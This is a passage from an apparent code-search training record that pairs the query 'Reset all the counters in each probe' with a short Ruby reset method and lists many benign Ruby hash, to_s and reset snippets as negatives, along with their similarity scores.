unless value.flatten.empty?\n\t\t\t\thash\n\t\t\t}\n\t\tend", "def hash\n [code, start_date, end_date, notification_timeframe, condition_reason, condition_reason_text, condition_to_apply, place_limit_to_apply, number_of_educators_per1_coordinator, educator_limit, regions, number_of_home_visit, number_or_percentage_home_visit_type, number_or_percentage_home_visit, frequency_of_visit, personnels, records_to_be_provided_set].hash\n end", "def to_hash\n @list\n end", "def to_h\n { :timestamp => @timestamp, \n :algorithms => @algorithms.map { |algo| algo.to_h }\n }\n end", "def hash\n [accept_tos, verify_sms, kyc_check, documentary_verification, selfie_check, watchlist_screening, risk_check].hash\n end", "def hash\n [device, duration, execution_rule, location, result_id, retries, status, test_name, test_public_id, test_type].hash\n end", "def serializable_hash \n results.each.inject(empty_bins) do |histogram, result|\n histogram[result] = histogram[result] ? histogram[result] + 1 : 1; histogram\n end\n end", "def hash\n return Digest::MD5.hexdigest(self.describe(' '))\n end", "def probe_set\n attrs = {}\n vars = [\n :probe_type,\n :probe_dns_host,\n :probe_frequency,\n :probe_port,\n :probe_retry_down,\n :probe_retry_up,\n :probe_timeout,\n :probe_control,\n ]\n if vars.any? { |p| @property_flush.key?(p) }\n # At least one var has changed, get all vals from manifest\n vars.each do |p|\n if @resource[p] == :default\n attrs[p] = @nu.send(\"default_#{p}\")\n else\n attrs[p] = @resource[p]\n attrs[p] = PuppetX::Cisco::Utils.bool_sym_to_s(attrs[p])\n end\n end\n end\n return if attrs.empty?\n @nu.probe_set(attrs)\n end", "def hash\n [self.class, dimension, system, name].hash\n end", "def hash\n\t\treturn self.name.to_s.hash\n\tend", "def hash\n attributes.hash\n end", "def hash\n attributes.hash\n end", "def hash\n attributes.hash\n end", "def to_hash\n @configuration_data\n end", "def hash_of_arrays\n Hash.new { |h, k| h[k] = [] }\n end", "def hash\n [event_count, hour, index_id, index_name, org_name, public_id, retention].hash\n end", "def med_stats_hash(_assessed_data); end", "def hash\n rows.hash\n end", "def hash\n [ data, type ].hash\n end", "def hash\n [cluster, options].hash\n end", "def hash\n [cluster, options].hash\n end", "def dev_pod_hashes_map\n @dev_pod_hashes_map ||=\n dev_pod_sources.map { |name, attribs| [name, FolderChecksum.git_checksum(attribs[:path])] }.to_h\n end", "def hash\n [class_id, object_type, accessibility_summary, data_block_size, host_mount_status, in_use, kind, last_access_time, last_modified_time, mount_status, mount_summary, provisioned_capacity, provisioned_volume_capacity_utilization, type, un_compressed_used_bytes, uuid, volume_count, cluster, volumes].hash\n end", "def to_hash()\n @data\n end", "def hash\n [status, area, days_on_market, originating_system_name].hash\n end", "def hash\n [aperture_value, body_serial_number, brightness_value, cfa_pattern, camera_owner_name, color_space, components_configuration, compressed_bits_per_pixel, contrast, custom_rendered, date_time_digitized, date_time_original, device_setting_description, digital_zoom_ratio, exif_version, exposure_bias_value, exposure_index, exposure_mode, exposure_program, exposure_time, f_number, file_source, flash, flash_energy, flashpix_version, focal_length, focal_length_in35_mm_film, focal_plane_resolution_unit, focal_plane_x_resolution, focal_plane_y_resolution, gps_altitude, gps_altitude_ref, gps_area_information, gpsdop, gps_dest_bearing, gps_dest_bearing_ref, gps_dest_distance, gps_dest_distance_ref, gps_dest_latitude, gps_dest_latitude_ref, gps_dest_longitude, gps_dest_longitude_ref, gps_differential, gps_img_direction, gps_img_direction_ref, gps_date_stamp, gps_latitude, gps_latitude_ref, gps_longitude, gps_longitude_ref, gps_map_datum, gps_measure_mode, gps_processing_method, gps_satellites, gps_speed, gps_speed_ref, gps_status, gps_timestamp, gps_track, gps_track_ref, gps_version_id, gain_control, gamma, iso_speed, iso_speed_latitude_yyy, iso_speed_latitude_zzz, photographic_sensitivity, image_unique_id, lens_make, lens_model, lens_serial_number, lens_specification, light_source, maker_note_raw_data, max_aperture_value, metering_mode, oecf, pixel_x_dimension, pixel_y_dimension, recommended_exposure_index, related_sound_file, saturation, scene_capture_type, scene_type, sensing_method, sensitivity_type, sharpness, shutter_speed_value, spatial_frequency_response, spectral_sensitivity, standard_output_sensitivity, subject_area, subject_distance, subject_distance_range, subject_location, subsec_time, subsec_time_digitized, subsec_time_original, user_comment, white_balance, white_point].hash\n end", "def hash\n [name, product_ids_any, product_ids_all, quantity_exact, quantity_min, quantity_max, all_products].hash\n end" ]
[ "0.6722785", "0.64648277", "0.6322738", "0.6222438", "0.61927485", "0.6073966", "0.6037135", "0.6010736", "0.60016704", "0.5999653", "0.5960808", "0.5914729", "0.58373827", "0.58327526", "0.57916284", "0.5787507", "0.57529336", "0.5749161", "0.57395744", "0.5723585", "0.5722229", "0.5722229", "0.57123864", "0.5693149", "0.56913793", "0.5684221", "0.5673896", "0.5672322", "0.56423587", "0.5642152", "0.5622206", "0.5621423", "0.560539", "0.5602519", "0.5584054", "0.55713546", "0.5568311", "0.5553031", "0.5551436", "0.55364835", "0.55308807", "0.5527891", "0.5514632", "0.5506723", "0.5504538", "0.54943985", "0.548375", "0.5481268", "0.54775894", "0.54705185", "0.5469563", "0.54612064", "0.5450142", "0.5448929", "0.54321676", "0.5431211", "0.54300296", "0.5411575", "0.5410837", "0.53976476", "0.53922737", "0.538674", "0.5386273", "0.53858835", "0.5384732", "0.5374613", "0.5370982", "0.5367849", "0.536651", "0.53651106", "0.53642595", "0.5363363", "0.53570265", "0.53564996", "0.5354741", "0.5354541", "0.53522813", "0.535026", "0.5349044", "0.53476477", "0.53438485", "0.5342384", "0.5340044", "0.5336919", "0.5336919", "0.5336919", "0.5331696", "0.5322374", "0.53159404", "0.5314", "0.53121763", "0.53091407", "0.5308771", "0.5308771", "0.5292621", "0.5292399", "0.52909005", "0.5289407", "0.52881837", "0.5287661" ]
0.7712999
0
Reset all the counters in each probe.
def reset probe_sets.each(&:reset) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def reset_checks\n @counter = 0\n end", "def reset_stats; reset!; end", "def reset\n @count = 0\n end", "def reset!\n default_tags.clear\n adapters.clear\n groups.each_key { |group| singleton_class.send(:remove_method, group) if group && respond_to?(group) }\n @groups = nil\n metrics.each_key { |metric| singleton_class.send(:remove_method, metric) if respond_to?(metric) }\n @metrics = nil\n collectors.clear\n configurators.clear\n instance_variable_set(:@configured_by, nil)\n instance_variable_set(:@debug_was_enabled_by, nil)\n end", "def reset_checks\n @checks_used = 0\n end", "def reset_counters!\n reload!\n self.class.counter_columns.each do |cc|\n counter = self.send(cc.name)\n counter.reset! unless counter.nil?\n end\n save\n end", "def reset_checks\n @check_count = 0\n end", "def reset_all!\n initialize_histograms_hash\n end", "def stats_reset\n @stats = nil\n end", "def reset_counter\n @run_count = 0\n end", "def reset_all_statistics\n super\n end", "def reset_abs_data\n # reset killed battlers arrays and the counters\n @killed, @battlers_number = {}, {}\n end", "def reset_peer_counters\n\t\t\t@last_peer_pos = 0\n\t\t\t@last_peer_count |= 50\n\t\tend", "def reset_statistics!; end", "def reset_statistics!; end", "def reset_timings\n @instrument_store = nil\n end", "def reset_counters(*counters)\n self.class.with(persistence_context) do |_class|\n _class.reset_counters(self, *counters)\n end\n end", "def reset_checks\n @checks_used = 0\n puts \"Checks used: #{@checks_used}\"\n end", "def reset_checks\n @checks = 0\n end", "def reset\n @ret_val = 999\n @keys = []\n @keys_to_check = []\n @keys_used = []\n @unsigned_keys = []\n @algs = []\n @last_nsec3_hashed = nil\n @nsec3param = nil\n @first_nsec3 = nil\n @count = 0\n @last_nsec = nil\n @first_nsec = nil\n @warned_about_nsec3param = false\n @zone_name = \"\"\n @soa = nil\n @config = nil\n @key_tracker = nil\n @key_cache = nil\n @unknown_nsecs = {}\n @empty_nonterminals = []\n end", "def reset!\n runner.tick!\n @changes = Hash.new { |h, k| h[k] = Accumulator.new }\n end", "def reset\n @value = nil\n @count = 0\n end", "def reset\n each(&:reset)\n self\n end", "def reset_database_counters\n NineAstronauts::DatabaseCounters::Counters.reset!\n end", "def reset_counter; end", "def reset\n @cpt = 0\n @errors = 0\n @stopped = false\n end", "def reset\n total_calls.clear\n total_success_calls.clear\n total_failed_calls.clear\n end", "def reset\n @results = @hits = @verified_hits = @total = @solr_response = @doc_ids = nil\n end", "def reset\n @results = @hits = @verified_hits = @total = @solr_response = @doc_ids = nil\n end", "def reset\n @protocols = {}\n @servers = {}\n @routes = {}\n @subscribers = {}\n @agents = {}\n @channels = {}\n end", "def reset\n reset_config\n reset_driver\n end", "def reset\n synchronize do\n @table = nil\n @instances = nil\n @codes = nil\n end\n end", "def reset()\n @contadores = { :Piedra => 0, :Papel => 0, :Tijeras => 0,\n :Lagarto => 0, :Spock => 0}\n end", "def reset\n @players.each { |player| player.reset }\n @dealer.reset\n system \"clear\"\n end", "def reset\n reset_adapters\n reset_config\n reset_handlers\n reset_hooks\n end", "def reset_stats!\r\n @@available_locales = nil\r\n @@enabled_locales = nil\r\n @@language_completion = nil\r\n @@all_translation_info = nil\r\n @@datetime_vars = nil\r\n end", "def reset\n\t\t@r = 0\n\t\t@p = 0\n\t\t@t = 0\n\t\t@l = 0\n\t\t@s = 0\n\tend", "def reset_pod_watch_retry_stats\n Thread.current[:pod_watch_retry_count] = 0\n Thread.current[:pod_watch_retry_backoff_interval] = @watch_retry_interval\n end", "def reset_metrics\n flush_cache\n self\n end", "def reset\n\t\tself.rs \t= 0\n\t\tself.ps \t= 0\n\t\tself.ss \t= 0\n\t\tself.gen\t= Random.new(SEED)\n\tend", "def reset\n\t\t@hand = Array.new\n\t\t@total = 0\n\tend", "def reset\n cleanup(true)\n end", "def reset!\n @samples_lock.synchronize do\n @last_sample = nil\n @sample_buffers.each { |sample_buffer| sample_buffer.reset! }\n end\n end", "def reset!\n @samples_lock.synchronize do\n @last_sample = nil\n @sample_buffers.each { |sample_buffer| sample_buffer.reset! }\n end\n end", "def reset\n @project = nil\n @total_coverage = nil\n @all_modified_files_coverage = nil\n end", "def reset_metrics_buffer\n @@metrics_buffer = []\n end", "def reset\n self.hooks = {}\n end", "def clear_stats\n $phase_sum = 0.0\n $errbd_sum = 0.0\n $phase_count = 0\n $errbd_count = 0\n $errbd_max = 0.0\nend", "def reset\n $iptr = 0\n $program = []\n $labels = {}\n $binding = binding\nend", "def reset\n @callbacks = []\n @closebacks = []\n end", "def reset()\n #This is a stub, used for indexing\n end", "def reset()\n #This is a stub, used for indexing\n end", "def reset_stats\n ring.servers.map do |server|\n server.alive? ? server.request(:reset_stats) : nil\n end\n end", "def reset()\n @result = false\n @tests = 0\n end", "def reset\n @discovered_clients = nil\n end", "def reset\n setup\n end", "def reset!\n @peer_certs = []\n @verify_errors = []\n end", "def reset!\n @peer_certs = []\n @verify_errors = []\n end", "def reset\n initialize\n setup\n end", "def reset\n @caller_context_padding = 2\n @has_at_exit_report = true\n @alert_frequency = 1\n end", "def reset\n @agent.reset\n end", "def reset()\n @rand_count = 0\n @sideup = nil\n end", "def reset!\n @events = nil\n end", "def set_counters\r\n @score_count = 0\r\n @score_total = 0\r\nend", "def reset\n #Imager Module\n Imager.imagerEnumEvent=\"\";\n Imager.imagerEvent=\"\";\n\n #FileTransfer Reset Module\n FileTransfer.createFolders = \"\"\n FileTransfer.overWrite = \"\"\n FileTransfer.transferEvent = \"\"\n\n #Battery Module\n Battery.batteryEvent = \"\"\n Battery.smartBatteryEvent = \"\"\n\n #Signal Module\n Signal.signalEvent = \"\"\n\n #Device And Apps\n Backlight.backlightSettingsEvent = \"\"\n Alarm.alarmTriggered =\"\"\n Timer.timeout =\"\"\n \n #Gesture Module\n Gesture.delete\n end", "def reset\n # The read and write caches are Arrays. We use the _bits_ least\n # significant bits of the PEROBS::ObjectBase ID to select the index in\n # the read or write cache Arrays.\n @reads = ::Array.new(2 ** @bits)\n @writes = ::Array.new(2 ** @bits)\n @transaction_stack = ::Array.new\n @transaction_thread = nil\n @transaction_objects = ::Hash.new\n end", "def reset\n @gold_coins = 0\n @health_points = 10\n @lives = 5\n end", "def reset\n @events = []\n end", "def reset\n [topics, queues, subscriptions].each do |resource|\n resource.values.each(&:delete)\n resource.clear\n end\n end", "def reset_cached_probabilities\n @occurences_of_every_feature_in_class = Hash.new\n end", "def reset\n @lp.reset\n @lp.set_duty_cycle(1, 4)\n @lp.double_buffer = true\n @lp.offline_updates = true\n clear\n end", "def reset\n @printed = false\n @structs.each(&:reset)\n end", "def reset\n @array = nil\n end", "def reset!\n @routes = []\n @current = 0\n @prepared = nil\n end", "def reset_hooks\n @hooks = nil\n end", "def reset\n # TODO\n end", "def reset\n @lists = {}\n @references = {}\n @serialized = {}\n @graphs = {}\n @subjects = {}\n end", "def reset() end", "def reload\n @raw_devices = nil\n @devices = nil\n end", "def reset!\n @cached_descriptions = nil\n @nodes = nil\n @cloud_nodes = nil\n end", "def reset!\n @significant_keys = nil\n @orders = Hash.new{|h,k| h[k] = Hash.new{|h2, k2| h2[k2] = []}}\n @key_count = Hash.new(0)\n @cache = {}\n end", "def reset\n @player_status = \"in\" \n @hands = [] \n @hands_status = [] \n @bets = [] \n @values = [] \n @cur = 0 \n end", "def resetValues\n @@multinode = nil\n @@serverList = nil\n @@proxy = nil\n @@serviceList = {}\n end", "def reset\n @agents.clear\n end", "def reset_counters(option = \"\")\n @socket.execute \"clear counters {option}\", &@print_response\n end", "def reset_counters(option = \"\")\n @socket.execute \"clear counters {option}\", &@print_response\n end", "def reset\n @results = []\n @number = 0\n @score = 0\n @average = 0\n @min = 0\n @max = 0\n end", "def reset!\n @messages = []\n @paused_partitions = {}\n end", "def reset\n @current = 0\n @matched = false\n end", "def clear\n @names = {}\n @processes = []\n end", "def reset_statistics\n super\n end", "def reset_statistics\n super\n end", "def reset_statistics\n super\n end", "def reset_statistics\n super\n end", "def reset_statistics\n super\n end", "def reset_statistics\n super\n end", "def reset_statistics\n super\n end", "def reset_statistics\n super\n end", "def reset_statistics\n super\n end", "def reset_statistics\n super\n end" ]
[ "0.68230873", "0.65737253", "0.65549266", "0.6529333", "0.6486084", "0.6453623", "0.6449965", "0.6429226", "0.64178956", "0.63817275", "0.6360621", "0.63248456", "0.6299693", "0.6275549", "0.6275549", "0.62741816", "0.62735903", "0.62514997", "0.6224748", "0.620902", "0.62010527", "0.61776584", "0.617005", "0.61638045", "0.61617655", "0.611872", "0.6112627", "0.6096664", "0.6096664", "0.60927045", "0.6092314", "0.60888535", "0.6085389", "0.60851276", "0.6084888", "0.6082694", "0.60796183", "0.60731673", "0.60668105", "0.6053116", "0.6052062", "0.6046407", "0.6036633", "0.6036633", "0.6035316", "0.6030891", "0.6017834", "0.59673", "0.5952439", "0.5951044", "0.5948584", "0.5948584", "0.5923927", "0.59229153", "0.5920885", "0.59188914", "0.5918413", "0.5918413", "0.59114844", "0.59113014", "0.5899881", "0.5894837", "0.58928365", "0.58893013", "0.58851457", "0.58731306", "0.58665717", "0.586181", "0.5861174", "0.58570236", "0.5840453", "0.5836995", "0.5829023", "0.5824412", "0.5819168", "0.58188707", "0.58182067", "0.5815302", "0.5815072", "0.58104074", "0.580938", "0.58091754", "0.58042145", "0.5796783", "0.5787947", "0.5787947", "0.57805306", "0.57795304", "0.5776729", "0.57606536", "0.5759395", "0.5759395", "0.5759395", "0.5759395", "0.5759395", "0.5759395", "0.5759395", "0.5759395", "0.5759395", "0.5759395" ]
0.8291183
0
String representation of all the probe_sets that's suitable for flushing out over a socket.
def to_s Psych.dump to_hash end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def probe_sets\n @probe_sets ||= Array.new\n end", "def to_s\n \"AppSpec[#{title}], #{@conf.keys.length} keys]\"\n end", "def inspect\n out = []\n out << string_name\n out << string_mappings\n out << string_data\n out.compact.join(' ') + '>'\n end", "def to_s\n [\n \"Id: #{@id}\",\n \"Test Class Name: #{@class_name}\",\n \"Test File Path: #{@path}\",\n \"Log Level: #{@log_level}\",\n \"Data: #{@data}\",\n 'Flags:',\n @flags.map { |flag, value| \"#{flag} => #{value}\" }.join(\"\\n\")\n ].join(\"\\n\")\n end", "def dump\n\n @seen.collect { |msg| fancy_print(msg) }.join(\"\\n\")\n end", "def to_s\n @to_s ||= \"#{hostname}:#{Process.pid}-#{Thread.current.object_id}:#{@queues.join(',')}\"\n end", "def probe_sets=(probe_sets)\n @probe_sets = Array(probe_sets).flatten\n end", "def to_s\n\t\t@clusters.map { |x| x.to_s }.join(\"\\n\")\n\tend", "def dump\n result = ''\n result << \"#{lanes}\\n\"\n result << \"#{cars}\\n\"\n result << \"#{rounds}\\n\"\n chart.each do |heat|\n result << heat.join(' ') << \"\\n\"\n end\n result\n end", "def to_s\n pad_field :options\n recalc_block_len\n to_a.map(&:to_s).join + @packets.map(&:to_s).join\n end", "def to_s\n \"#{@name}: #{@gemset_versions.inspect}\"\n end", "def stdouts_to_s\n messages = []\n {\n 'STDOUT' => stdout_device,\n 'STDERR' => stderr_device\n }.each do |name, device|\n case device\n when File\n if File.exist?(device.path)\n content = File.read(device.path).strip\n messages << \"----- #{name} BEGIN - #{device.path} -----\\n#{content}\\n----- #{name} END - #{device.path} -----\" unless content.empty?\n end\n when StringIO\n content = device.string\n messages << \"----- #{name} BEGIN -----\\n#{content}\\n----- #{name} END -----\" unless content.empty?\n end\n end\n messages.empty? ? nil : messages.join(\"\\n\")\n end", "def dump(io)\n @config.keys.select {|s| String === s}.sort.each do |k|\n v = @config[k]\n case v\n when Array\n io.puts \"#{k}=#{v.join ' '}\"\n else\n io.puts \"#{k}=#{v}\"\n end\n end\n end", "def platform_to_s\n\t\treturn ((platform.all?) ? [ \"All\" ] : platform.names).join(\", \")\n\tend", "def to_s\n @brokers.to_s\n end", "def stringify_backends(backends)\n backend_strings = []\n backends.each do |name, spec|\n backend_strings << \"#{name}=#{spec}\"\n end\n backend_strings\nend", "def hosts\n out = []\n out << \"group {\"\n out << ' filename \"deezy\";'\n Host.find_all_by_enabled(true).each do |host|\n out << [\n \" host #{host.hostname} { hardware ethernet #{host.mac}; \",\n \"#{\"fixed-address #{host.ip};\" unless host.ip.blank?}\",\n \"}\"\n ].join\n end\n out << \"}\"\n out << ''\n end", "def to_s\n out = [ super ]\n out << \"*X-VS:#{vs}\" if vs\n out << \"*X-SS:#{ss}\" if ss\n out.join\n end", "def to_hash\n # Drop the probes into the report\n probe_sets.inject({}) { |report, set|\n report[set.name.to_s] = set.probes.inject({}) { |memo, (_, probe)|\n # round the values to 2 decimal places\n memo[probe.name] = (probe.value.to_f * 100).round().to_f/100\n memo\n }\n report\n }\n end", "def dump_requests\n info = []\n @pending_requests.kind(PendingRequests::REQUEST_KINDS).each do |token, request|\n info << \"#{request.receive_time.localtime} <#{token}>\"\n end\n info.sort.reverse\n info = info[0..49] + [\"...\"] if info.size > 50\n info\n end", "def to_s\n @to_s || \"#{hostname}(#{local_ip}):#{Process.pid}:#{Thread.current.object_id}:#{Thread.current[:queues]}\"\n end", "def to_s\n s = \"\"\n @nodes.each do |identifier, node|\n s += \"#{identifier} (#{node.contigs.join(\",\")}) => #{@edges[identifier]} \\n\"\n end\n s\n end", "def dump\n varset_hash = @varset.to_h\n varset_hash.keys.sort_by(&:to_s).each do |var|\n var_str = var.is_a?(Symbol) ? var.inspect : var\n Ansi.write($stdout, :cyan, var_str, :reset, \" => #{varset_hash[var].inspect}\\n\")\n end\n end", "def to_s\n out = Array.new\n out.push \"file='#{@file}'\"\n out.push \"line='#{@line}'\"\n out.push \"name='#{@name}'\"\n out.push \"arg='#{@arg}'\"\n out.push \"params='#{@params}'\"\n out.push \"initrd='#{@initrd}'\"\n out.push \"type='#{@type}'\"\n return out.join(\", \")\n end", "def inspect_server(server)\n strings = [server.hostname]\n if !is_unix_socket?(server)\n strings << \":#{server.port}\"\n strings << \":#{server.weight}\" if options[:ketama_weighted]\n end\n strings.join\n end", "def probe_set\n attrs = {}\n vars = [\n :probe_type,\n :probe_dns_host,\n :probe_frequency,\n :probe_port,\n :probe_retry_down,\n :probe_retry_up,\n :probe_timeout,\n :probe_control,\n ]\n if vars.any? { |p| @property_flush.key?(p) }\n # At least one var has changed, get all vals from manifest\n vars.each do |p|\n if @resource[p] == :default\n attrs[p] = @nu.send(\"default_#{p}\")\n else\n attrs[p] = @resource[p]\n attrs[p] = PuppetX::Cisco::Utils.bool_sym_to_s(attrs[p])\n end\n end\n end\n return if attrs.empty?\n @nu.probe_set(attrs)\n end", "def to_s\n resources.sort_by(&:ipaddress).map(&:to_s).join(\"\\n\")\n end", "def to_s\n return @labels.join('.')\n end", "def to_s\n available.to_s\n end", "def output_descriptions\n @outputs.collect{|output| output.device_info.description }\n end", "def to_s\n @chains.map do |arr|\n \"#{arr[0]}(#{arr[1..-1].map {|a| a.is_a?(Proc) ? \"&block\" : a.inspect }.join ', '})\"\n end.join '.'\n end", "def to_s\n str = ''\n str << \"Command: #{@feature} #{@name}\\n\"\n @hash.each { |key, value| str << \" #{key}: #{value}\\n\" }\n str\n end", "def to_s!\n elems = @schema.keys.map do |k|\n v = self[k]\n vstr = Configuration.config?(v) ? v.to_s! : v.inspect\n \"#{k}=#{vstr}\"\n end\n \"<Google::Gax::Configuration: #{elems.join ' '}>\"\n end", "def to_s\n @to_s || \"#{hostname}(#{local_ip}):#{Process.pid}:#{Thread.current.object_id}:#{Thread.current[:path]}:#{Thread.current[:queues]}\"\n end", "def to_s\n [\n \"STATUS: #{@status}\\n\",\n 'CONFIGURATIONS:',\n \"#{@config}\\n\",\n 'TIMINGS:',\n \"#{@timer}\\n\",\n 'LOG MESSAGES:',\n \"#{@logger}\\n\",\n 'DATA LOG:',\n @data_log.map { |key, value| \"#{key} => #{value}\" }.join(\"\\n\")\n ].join(\"\\n\")\n end", "def to_s\n \"#{@__keys__.join(' ')} from #{@__schema__} for #{@__settings__}\"\n end", "def to_s(infoHash = nil)\n def makeFlags(peer)\n s = \"[\"\n s << \"c\" if peer.amChoked\n s << \"i\" if peer.peerInterested\n s << \"C\" if peer.peerChoked\n s << \"I\" if peer.amInterested\n s << \"]\"\n s\n end \n\n if infoHash\n s = \"Peers: \\n\"\n peers = @peersByInfoHash[infoHash]\n if peers\n peers.each do |peer|\n s << \" #{peer.to_s} #{makeFlags(peer)}\\n\"\n end\n end\n else\n \"PeerHolder\"\n end\n s \n end", "def to_s\n @sections.map(&:to_s).join\n end", "def to_s\n @segments.collect { |s| s if s.to_s.length > 0 }.join( \"\\n\" ).encode(encoding)\n end", "def set_names\n option_sets.map{|os| os.name}.join(', ')\n end", "def to_s\n @flags.join(', ')\n end", "def to_s(opts={})\n @registry.collect do |option|\n str = option.kind_of?(Flag) ? option.to_s(opts) : option.to_s\n str.rstrip\n end.join(\"\\n\") + \"\\n\"\n end", "def to_s\r\n productions.values.join \"\\n\"\r\n end", "def dump\n sync { devices.reject(&:inherited?).map { |dev| dev.dump } }\n end", "def inspect\n _str = \"\\#<#{self.class}: 0x%2.2X, %s>\" % [\n id,\n topics.map { |t| \"'#{t[0]}':#{t[1]}\" }.join(', ')\n ]\n end", "def inspect\n _str = \"\\#<#{self.class}: 0x%2.2X, %s>\" % [\n id,\n topics.map { |t| \"'#{t[0]}':#{t[1]}\" }.join(', ')\n ]\n end", "def to_s\n result = ''\n namelists.each do |namelist|\n result += \"\\n&#{namelist}\\n\"\n result += @to_write[namelist].join('')\n result += \"\\n/ ! end of #{namelist} namelist\\n\"\n end\n result.sub(\"\\n\\n\\n\", \"\\n\\n\")\n end", "def to_s\n # no need to print tcp/udp ANY in Cisco ACL\n ''\n end", "def inspect\n \"#<DataStructures::TreeSet {#{self.map { |val| val.inspect }.join(',')}}>\"\n end", "def inspect\n str = self.to_s\n str << \"\\n-------------------------------------------------------\\n\"\n str << \"Algorithms:\\n\"\n @algorithms.each do |a|\n str << a.inspect()\n end\n\n return str\n end", "def to_quick_mode_string\n machine_tags = namespace_hashes.map {|namespace, predicate_values|\n \"#{namespace}:\" + predicate_values.map {|pred, value|\n pred == self.default_predicate ? value : \"#{pred}#{Tag::VALUE_DELIMITER}#{value}\"\n }.join(QUICK_MODE_DELIMITER)\n }\n (machine_tags + non_machine_tags).join(\"#{delimiter} \")\n end", "def get_types_string(types_covered)\n types_string = \"\"\n types_covered.uniq.each {|type|\n types_string += \" #{type}\"\n }\n return types_string\n end", "def str_all_keys (options={})\n str = \"\"\n @data.keys.each do |key_name|\n if options[:filter] && options[:filter][:key_name]\n next unless key_name == options[:filter][:key_name]\n end\n str << \"\\n\"\n str << \"#{key_name}:\\n\"\n str << str_key_name(key_name, options)\n end\n str\n end", "def to_s\n segments.inject('') do |str,seg|\n str << (seg.is_a?(Symbol) ? \":#{seg}\" : seg)\n end\n end", "def inspect\n \"#<#{self.class.name}: {\" + map { |b|\n case b\n when (0x07..0x0d), (0x20..0x7e)\n b.chr.dump\n when 0x00\n # sly hack to make char-sets more friendly\n # to us C programmers\n '\"\\0\"'\n else\n \"0x%02x\" % b\n end\n }.join(', ') + \"}>\"\n end", "def to_s\n flags = [ ]\n flags << 'qr' if (response?)\n flags << 'aa' if (authorative?)\n flags << 'tc' if (truncated?)\n flags << 'rd' if (recursion_desired?)\n flags << 'ra' if (recursion_available?)\n \n \";; HEADER:\\n;; opcode: #{opcode.to_s.upcase} status: #{response_code.to_s.upcase} id: #{id} \\n\" +\n \";; flags: #{flags.join(' ')}; QUERY: #{questions.length}, ANSWER: #{answers.length}, AUTHORITY: #{nameservers.length}, ADDITIONAL: #{additional_records.length}\" +\n \"\\n\" +\n \";; QUESTION SECTION:\\n\" +\n questions.collect(&:to_s).join(\"\\n\") + \"\\n\" +\n \";; ANSWER SECTION:\\n\" +\n answers.collect(&:to_s).join(\"\\n\") + \"\\n\" +\n \";; NAMESERVER SECTION:\\n\" +\n nameservers.collect(&:to_s).join(\"\\n\") + \"\\n\" +\n \";; ADDITIONAL SECTION:\\n\" +\n additional_records.collect(&:to_s).join(\"\\n\") + \"\\n\"\n end", "def nodes_to_s\n string = \"\"\n @nodes.each do |name, node|\n string +=\"#{name}:\\n\\t(#{node.name})\\n\"\n end\n string\n end", "def inspect\n \"[#{map { |r| r.inspect }.join(', ')}]\"\n end", "def to_s\r\n dump\r\n end", "def strings\n [\n build_identification_string,\n build_flags_string,\n build_info_string,\n build_name_string\n ].compact\n end", "def to_s\n ['S', revision, nt_authority, nt_non_unique, uuids].join('-')\n end", "def to_s\n return \"ipv4 : #{self.ipv4}\\n\" <<\n \"mask : #{self.mask}\\n\" <<\n \"mac : #{self.mask}\\n\" <<\n \"gateway : #{self.gateway}\\n\"\n end", "def options_as_string\n buff = []\n opts = options\n opts.keys.sort{ |a,b| a.to_s <=> b.to_s }.each do |k|\n value = opts[k]\n buff << sprintf( \":%s => '%s'\", k, value.to_s ) if !value.nil? and !value.is_a? YAML::Omap\n end \n buff.join( \",\" )\n end", "def dump\n result = \"\"\n result += \"#{id}: from => #{user&.login}, \"\n result += \"to => #{to_user&.login}, flavor => #{flavor}, \"\n result += \"queued => #{queued}\\n\"\n queued_email_integers.each { |i| result += \"\\t#{i.key} => #{i.value}\\n\" }\n queued_email_strings.each { |i| result += \"\\t#{i.key} => #{i.value}\\n\" }\n result += \"\\tNote: #{queued_email_note.value}\\n\" if queued_email_note\n result\n end", "def to_s\n s = []\n @ini.each do |section,hash|\n s << \"[#{section}]\"\n hash.each {|param,val| s << \"#{param} #{@param} #{escape val}\"}\n s << \"\"\n end\n s.join(\"\\n\")\n end", "def to_s\n\t\treturn [\n\t\t\tself.mediatype,\n\t\t\tself.qvaluestring,\n\t\t\tself.extension_strings\n\t\t].compact.join(';')\n\tend", "def to_text\n checks.map(&:to_text).join(\"\\n\")\n end", "def to_s\n out = []\n\n groups = spec_groups\n\n add_PATH out, groups.delete(Gem::Resolver::VendorSpecification) { [] }\n\n add_GIT out, groups.delete(Gem::Resolver::GitSpecification) { [] }\n\n add_GEM out, groups\n\n add_PLATFORMS out\n\n add_DEPENDENCIES out\n\n out.join \"\\n\"\n end", "def to_s\n\t\t[\n\t\t\t\"Terminals: #{terminals.join(', ')}\",\n\t\t\t\"Non-terminals: #{non_terminals.join(', ')}\",\n\t\t\t\"\\nGrammar Rules\",\n\t\t\t\tprint_rules,\n\t\t\t\t\"\\nGrammar Start Symbol: #{@goal}\",\n\t\t\t\"\\nDerives to lambda: #{print_lambda}\",\n\t\t\t\"\\nFirst sets:\",\n\t\t\t\tprint_firsts,\n\t\t\t\t\"\\nFollow sets:\",\n\t\t\t\tprint_follows,\n\t\t\t\t\"\\nPredict sets:\",\n\t\t\t\tprint_predicts\n\n\t\t].join(\"\\n\")\n\tend", "def to_s # :nocov:\n s = []\n s << \"CommandSpec:#{self.object_id}\"\n s << \" digest: #{self.digest}\"\n s << \" repo: #{self.repo}\"\n s << \" bundle: #{self.bundle}\"\n s << \" command: #{self.command}\"\n s << \" args: #{self.args}\"\n s << \" user: #{self.user}\"\n s << \" group: #{self.group}\"\n s << \" env: \" + (self.env.nil?() ? \"\" : MultiJson.dump(self.env))\n s << \" stdin: \" + Debug.pretty_str(stdin)\n s.join(\"\\n\")\n end", "def to_s\n\t\t\treturn self.filters.collect {|f| f.to_s }.join\n\t\tend", "def to_s\n p = properties.merge({}) do |_k, _o, n|\n if n.is_a?(Array)\n n.flatten.map(&:to_s).join(',')\n else\n n\n end\n end\n p.map { |kv| kv.join('=') }.join(\"\\n\")\n end", "def to_s\n p = properties.merge({}) do |_k, _o, n|\n if n.is_a?(Array)\n n.flatten.map(&:to_s).join(',')\n else\n n\n end\n end\n p.map { |kv| kv.join('=') }.join(\"\\n\")\n end", "def to_s\n @out.join\n end", "def to_s\n r = []\n r << \"complete: #{complete}\" if complete\n r << \"prefix: #{prefix}\" if prefix\n r << \"suffix: #{suffix}\" if suffix\n internals.each {|x| r << \"internal: #{x}\"}\n r.join(' ')\n end", "def to_s\n 